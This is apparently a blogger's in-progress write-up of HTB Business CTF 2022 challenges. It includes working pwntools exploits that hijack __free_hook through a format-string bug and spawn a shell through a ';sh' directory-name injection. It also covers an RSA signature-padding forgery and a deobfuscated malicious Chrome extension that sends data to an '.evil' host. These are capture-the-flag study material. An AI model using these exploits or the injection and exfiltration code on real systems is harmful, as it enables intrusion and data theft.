home..

HTB Business CTF 2022 : Dirty Money write-up (in progress)

Write-up IN PROGRESS ..
작성중

Summary

Solved 3 pwn (including windows kernel exploitation), 3 crypto, 2 rev, 1 forensic. pwn focused on FSB attack or ezpz kernel exploitation. RSA, elgamel simple attack in crypto. and etc..

Tasks

PWN : Payback

1. Analyze

mitigations are here:

[*] '/mnt/c/Users/bww96/Desktop/CTF_2022/htb_business/pwn/pwn_payback/challenge/payback'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./.glibc/'

I found that delete_bot function has Format string bug when I send delete_reason.

int delete_bot()
{
    unsigned int id;
    id = getId(); // 0 ~ 31
    if (botBuf[id].url != NULL)
    {
        char reasonbuf[MAX_REASON_SIZE];
        memset(reasonbuf, '\x00', MAX_REASON_SIZE);
        // gather statistics
        printf("\n[*] Enter the reason of deletion: ");
        read(STDIN_FILENO, &reasonbuf, MAX_REASON_SIZE - 1);
        free(botBuf[id].url);
        botBuf[id].url = NULL;
        puts("\n[+] Bot Deleted successfully! | Reason: ");
        printf(reasonbuf);
        return 0;
    }
    puts("\n[!] Error: Unable to fetch the requested bot entry.\n");
}

reasonbuf is in a stack area so I can check FSB attack offset with input buffer.
If I manage __free_hook, I can call system("/bin/sh\x00") when I call delete_bot.
Setting bot’s URL to /bin/sh\x00 and calling free can trigger shell.
Let’s exploit!

2. Exploit Code

from pwn import *

# p=process("./payback")
p=remote("142.93.37.110",30669)
e=ELF("./payback")
l=ELF(".glibc/libc.so.6")

def add():
    p.sendlineafter(">> ", str(1).encode())
    p.sendlineafter(": ", "/bin/sh\x00")
    p.sendlineafter(": ", "0")

def delete(id, fsb_pay):
    p.sendlineafter(">> ", str(3))
    p.sendlineafter(": ", str(id))
    pause()
    p.sendafter(": ", fsb_pay)

add()
delete(0, "%p")
# overwrite offset : 8

p.recvuntil("Reason: \n")
libc_base = int(p.recv(14),16) - 0x1ed723
free_hook = libc_base + l.sym['__free_hook']
system = libc_base + l.sym['system']

log.info(hex(libc_base))
log.info(hex(free_hook))

add()

low = system & 0xffff
mid = (system >> 16) & 0xffff
high = system >> 32

if mid > low:
    rmid = mid-low
else:
    rmid = 0x10000+mid-low

if high > mid:
    rhigh = high-mid
else:
    rhigh = 0x10000+high-mid

log.info(hex(low))
log.info(hex(mid))
log.info(hex(high))

payload = ''
payload += '%{}c'.format(low)
payload += '%13$hn'
payload += '%{}c'.format(rmid)
payload += '%14$hn'
payload += '%{}c'.format(rhigh)
payload += '%15$hn'
payload += 'A'
payload = payload.encode()
#print(len(payload))
payload += p64(free_hook)
payload += p64(free_hook + 2)
payload += p64(free_hook + 4)

delete(0, payload)

add()
delete(0, b"pwned")

p.interactive()

1.png

Flag is HTB{w3_sHoulD_1n1t1at3_a_bug_bounty_pr0gram}.


PWN : Insider

1. Analyze

Binary run FTP cli program with 30 commands.

BKDR command can leak stack area or overwrite stack area.
I found unchanged stack position that makes denied access to LIST command.
(value : -1, LIST NOT ALLOWED!)

at first, I used RETR command to read /flag.txt, but this file’s permission is only read in root, r--------. Need to find another way..

2.png

v131 should be more than 0, so if I found right offset of v131, can be overwritten by %[offset]$n.

2. After Getting shell..?

  1. MKDR ;sh : make directory named ;sh. it’s legal expression in linux.
  2. CWD ;sh : change working directory to /home/ctf/;sh
  3. LIST : call getcwd() => /home/ctf/;sh and combine string (result : ls -al /home/ctf/;sh) !!!SHELL EXECUTED!!!
  4. In the shell, cd /home/ctf => I noticed that get_flag file’s RUNPATH is ./, so changing working directory to /home/ctf is necessary.
  5. In the shell, ./get_flag => Execute!
  6. In the shell, exit => for receiving results of entire commands.
    (because commands is running in popen process)

3. Exploit Code

from pwn import *

#context.log_level = 'debug'

p = remote("104.248.175.153",30467)
#p = process('./chall')

def qwer(x, noRecv=False):
        if not noRecv:  p.recv()
        p.send(x)
        sleep(0.5)

qwer("USER ;)")
qwer("PASS ;)")

qwer("BKDR %p %p %p %p %p %p %p")
p.recvuntil("(nil) 0x")
leak = int(p.recv(12), 16) + 0x66c0
log.info(hex(leak))

pay = b'BKDR'
pay += b' %1035$n'

#pause()
pay = pay.ljust(0x28-3, b'b')
pay += p64(leak)
pay += b"ASDF"
qwer(pay)

#qwer("STOR .profile")
#qwer("alias ls='sh;ls'".ljust(0x1000, 'a') + 'LIST', True)
#p.shutdown('send')

qwer("MKDR ;sh")
qwer("CWD ;sh")
qwer("LIST")

p.sendline("cd /home/ctf")
p.sendline("./get_flag")
p.sendline("exit")
p.interactive()

Flag is HTB{Private_Key_H@McQfTjWnZr4u7x!A%D*G-KaNdRgUkX}.


PWN : OpenDoor

! REDACTED !
Exploit Code : https://gist.github.com/bww9641/b55628e52157fd04beb25155c951beeb


CRYPTO : BBGun06

1. Analyze

BBGun06 / revenge has same verify(self,message, signature) code:

def verify(self, message, signature):
        keylength = len(long_to_bytes(self.n))
        decrypted = self.encrypt(signature)
        clearsig = decrypted.to_bytes(keylength, "big")

        r = re.compile(b'\x00\x01\xff+?\x00(.{15})(.{20})', re.DOTALL)
        m = r.match(clearsig)

        if not m:
            raise VerificationError('Verification failed')

        if m.group(1) != self.asn1:
            raise VerificationError('Verification failed')

        if m.group(2) != sha1(message).digest():
            raise VerificationError('Verification failed')

        return True

And en/decrypt function changes signature code(byte) to long by using bytes_to_long to calculate with integer.
Decrypted message is same when I give bytes string that has same integer result. That means, dec("0001") == dec("01"). It’s simple!
send given signature with 00 :D, 00 + sig
revenge prob has the same solving process lol:) See below.

2. Exploit (Manual)

// for_BBGun06
signature: 59b980d833bffec9b1fe51a5256e66cca1e56e92ade292148edbb9421b50ce877f8bb052bd6c0d011fc06b80db42425bc5ce757d393d63a99215088c03fb1623c7fc9efbfbefde2b86072b7f3e2f8d7bd9c32c1752c3360e8e578e447f7c9445da99a39365bebf80e7975c05db7a74e736359a334a52e55c60329a7584b666e756620775b88987b918bb3d278216686ed7e12dc6807aaaab4c70ba3802c31b925fccf3f52b0c890cd24d737416b7cbd7fab1da146b974be4905ddf18602f29dc5233110f1cb657853b5aa0c7bd65cbc3bf9244e92f1cb48d103c8e524eae0cc5c1b966a6ff23e21b226e0d24b298433c059935bdf5dfa8836864232b2b573b10

...
// for_BBGun06 revenge
Enter the signature as hex: 0059b980d833bffec9b1fe51a5256e66cca1e56e92ade292148edbb9421b50ce877f8bb052bd6c0d011fc06b80db42425bc5ce757d393d63a99215088c03fb1623c7fc9efbfbefde2b86072b7f3e2f8d7bd9c32c1752c3360e8e578e447f7c9445da99a39365bebf80e7975c05db7a74e736359a334a52e55c60329a7584b666e756620775b88987b918bb3d278216686ed7e12dc6807aaaab4c70ba3802c31b925fccf3f52b0c890cd24d737416b7cbd7fab1da146b974be4905ddf18602f29dc5233110f1cb657853b5aa0c7bd65cbc3bf9244e92f1cb48d103c8e524eae0cc5c1b966a6ff23e21b226e0d24b298433c059935bdf5dfa8836864232b2b573b10
HTB{8131ch3n84ch32'06_519n47u23_f02932y}
signature: 866753b3e8009d9a365d11b9d334be86178de27f697d1f2e849222c557776f9befecee7c8adde061f226a2260b441e8df47a1c854be940a6b7d88029f32614121b72e10efd3b10609d66bff26c459da939c89e28117a5f1c761d3805cac6564b090323cdf8399e632c48d3db48e1a0c774d4f14fb673bb02385fc74cafc8b6d3ff0c2ac9247ba62ebd27fc798aa1ca29d88d2ce8fd79d3c01975964385806e85138a5175092cdac710aab71d000c2e77bb9f15cfbe82ff2a20416ea32ea388c1c5a3d6a8570f74a4eafbf4f46dda39167ad8a93aecc345f24d5e8134b260ce2c75405804ab546576b5492fbb76cad9da56939a3653d92f4320d4fddaa698864f

...

Enter the signature as hex: 00866753b3e8009d9a365d11b9d334be86178de27f697d1f2e849222c557776f9befecee7c8adde061f226a2260b441e8df47a1c854be940a6b7d88029f32614121b72e10efd3b10609d66bff26c459da939c89e28117a5f1c761d3805cac6564b090323cdf8399e632c48d3db48e1a0c774d4f14fb673bb02385fc74cafc8b6d3ff0c2ac9247ba62ebd27fc798aa1ca29d88d2ce8fd79d3c01975964385806e85138a5175092cdac710aab71d000c2e77bb9f15cfbe82ff2a20416ea32ea388c1c5a3d6a8570f74a4eafbf4f46dda39167ad8a93aecc345f24d5e8134b260ce2c75405804ab546576b5492fbb76cad9da56939a3653d92f4320d4fddaa698864f
HTB{1t_w@s_5upp0s3d_to_b3_8131ch3n84ch32's}

CRYPTO : ElElGamal

I didn’t know about ElGamal in cryptography, so I searched a lot.
writing… —

REV : BreakOut

1. FLAG Recovering

  1. Connect URL:port/proc/self/maps and see what prob should be the base program. /bkd is running!
  2. Download bkd file in website.
  3. Realize it’s web server made by C++.
  4. Find secretGet function and get flag.

2. Get FLAG

3.png

Flag is HTB{th3_pr0c_f5_15_4_p53ud0_f1l35y5t3m_wh1ch_pr0v1d35_4n_1nt3rf4c3.....}.


REV : ChromeMiner

Fully obfuscated js Challenge.

1. Recover with hand

async function iF() {
  if (!('injected' in document)) {
    document['injected'] = true;
    window['setInterval'](async () => {
      y = new window['Uint8Array'](64);
      window['crypto']['getRandomValues'](y);
      if (new window['TextDecoder']('utf-8')['decode'](await window['crypto']['subtle']['digest']('sha-256', y))['endsWith']('chrome')) {
        j = new window['Uint8Array'](y['byteLength'] + (await window['crypto']['subtle']['digest']('sha-256', y))['byteLength']);
        j['set'](new window['Uint8Array'](y), 0);
        j['set'](new window['Uint8Array'](await window['crypto']['subtle']['digest']('sha-256', y)), y['byteLength']);
        window['fetch']('hxxps://qwertzuiop123.evil/' + 
        [...new window['Uint8Array'](await window['crypto']['subtle']['encrypt']({['name']: 'AES-CBC', ['iv']: new window['TextEncoder']('utf-8')['encode']('_NOT_THE_SECRET_')}, await window['crypto']['subtle']['importKey']('raw', await window['crypto']['subtle']['decrypt']({['name']: 'AES-CBC', ['iv']: new window['TextEncoder']('utf-8')['encode']('_NOT_THE_SECRET_')}, await window['crypto']['subtle']['importKey']('raw', new window['TextEncoder']('utf-8')['encode']('_NOT_THE_SECRET_'), {['name']: 'AES-CBC'}, true, ['decrypt']), new window['Uint8Array'](('E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8')['match'](/../g)['map'](h => window['parseInt'](h, 16)))), {['name']: 'AES-CBC'}, true, ['encrypt']), j))]['map'](x => x['toString'](16)['padStart'](2, "0"))['join'](""));
      }
    }, 1);
  }
}
;

chrome['tabs']['onUpdated']['addListener']((tabVar, changeInfo, tab) => {
  if ('url' in tab && tab['url'] != null && (tab['url']['startsWith']('https://') || tab['url']['startsWith']('http://'))) {
    chrome['scripting']['executeScript']({['target']: {['tabId']: tab['id']}, function: iF});
  }
});

2. Decrypt with AES-256

>>> from Crypto.Cipher import AES
>>> AES.new(b'_NOT_THE_SECRET_',AES.MODE_CBC,b'_NOT_THE_SECRET_')
<Crypto.Cipher.AES.AESCipher object at 0x7fae19feb790>
>>> cipher = AES.new(b'_NOT_THE_SECRET_',AES.MODE_CBC,b'_NOT_THE_SECRET_')
>>> cipher.decrypt(b'\xe2B\xe6Ba\xd2\x19i\xf6[\xed\xf9T\x90\n\x99R\t\t\x9f\xb6\xc3\xc6\x82\xc0\xd9\xc4\xb2u\xb1\xc2\x12\xbc\x18\x8e\x08\x82\xb6\xber\xc7I!\x12A\x18\x7f\xa8')
b'HTB{__mY_vRy_owN_CHR0me_M1N3R__}\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'

FOR : Lina’s Invitation

writing….




© 2024 Ainsetin   •  Powered by Soopr   •  Theme  Moonwalk